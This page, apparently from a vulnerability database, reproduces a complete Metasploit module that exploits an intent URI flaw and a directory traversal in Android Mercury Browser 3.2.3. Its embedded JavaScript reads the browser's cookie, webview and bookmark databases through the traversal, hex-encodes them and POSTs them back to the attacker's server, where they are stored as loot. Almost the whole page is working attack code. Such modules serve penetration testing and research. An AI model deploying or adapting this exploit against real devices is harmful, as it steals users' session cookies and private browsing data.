Lucene search
+L

Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability

🗓️ 16 Sep 2015 05:48:57Reported by rotlogix, sinn3r <[email protected]>, joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 18 Views

Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability. Exploits unsafe intent URI scheme and directory traversal in Mercury Browser version 3.2.3. Allows remote access to sensitive files

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability',
      'Description'    => %q{
        This module exploits an unsafe intent URI scheme and directory traversal found in
        Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a
        private wifi manager activity, which starts a web server for Mercury on port 8888.
        The webserver also suffers a directory traversal that allows remote access to
        sensitive files.

        By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db,
        webview.db, and bookmarks.db. But if this isn't enough, you can also specify the
        ADDITIONAL_FILES datastore option to collect more files.
      },
      'Author'         =>
        [
          'rotlogix', # Vuln discovery, PoC, etc
          'sinn3r',
          'joev'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ],
          [ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
        ]
    ))

    register_options(
      [
        OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device'])
      ])
  end

  def is_android?(user_agent)
    user_agent.include?('Android')
  end

  def get_html
    %Q|
    <html>
    <head>
    <meta charset="utf-8" />
    </head>
    <body>
    <script>
    location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
    setTimeout(function() {
      location.href="intent:#Intent;S.load=javascript:eval(atob('#{Rex::Text.encode_base64(uxss)}'));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
    }, 500);
    </script>
    </body>
    </html>
    |
  end

  def backend_url
    proto = (datastore['SSL'] ? 'https' : 'http')
    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
    port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
    resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

    "#{proto}://#{my_host}#{port_str}#{resource}/catch"
  end

  def uxss
    %Q|
      function exploit() {
        history.replaceState({},{},'/storage/emulated/0/Download/');
        var urls = #{JSON.generate(file_urls)};
        urls.forEach(function(url) {
          var x = new XMLHttpRequest();
          x.open('GET', '/dodownload?fname=../../../..'+url);
          x.responseType = 'arraybuffer';
          x.send();
          x.onload = function(){
            var buff = new Uint8Array(x.response);
            var hex = Array.prototype.map.call(buff, function(d) {
              var c = d.toString(16);
              return (c.length < 2) ? 0+c : c;
            }).join('');
            var send = new XMLHttpRequest();
            send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,'')));
            send.setRequestHeader('Content-type', 'text/plain');
            send.send(hex);
          };
        });
      }

      var q = window.open('http://localhost:8888/','x');
      q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
    |
  end

  def file_urls
    files = [
      '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db',
      '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db',
      '/data/data/com.ilegendsoft.mercury/databases/webview.db',
      '/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
    ]

    if datastore['ADDITIONAL_FILES']
      files.concat(datastore['ADDITIONAL_FILES'].split)
    end

    files
  end

  def on_request_uri(cli, req)
    print_status("Requesting: #{req.uri}")

    unless is_android?(req.headers['User-Agent'])
      print_error('Target is not Android')
      send_not_found(cli)
      return
    end

    if req.method =~ /post/i
      if req.body
        filename = File.basename(req.uri) || 'file'
        output = store_loot(
          filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file'
        )
        print_good("Stored #{req.body.bytes.length} bytes to #{output}")
      end

      return
    end

    print_status('Sending HTML...')
    html = get_html
    send_response_html(cli, html)
  end

  def hex2bin(hex)
    hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
  end


  def run
    exploit
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation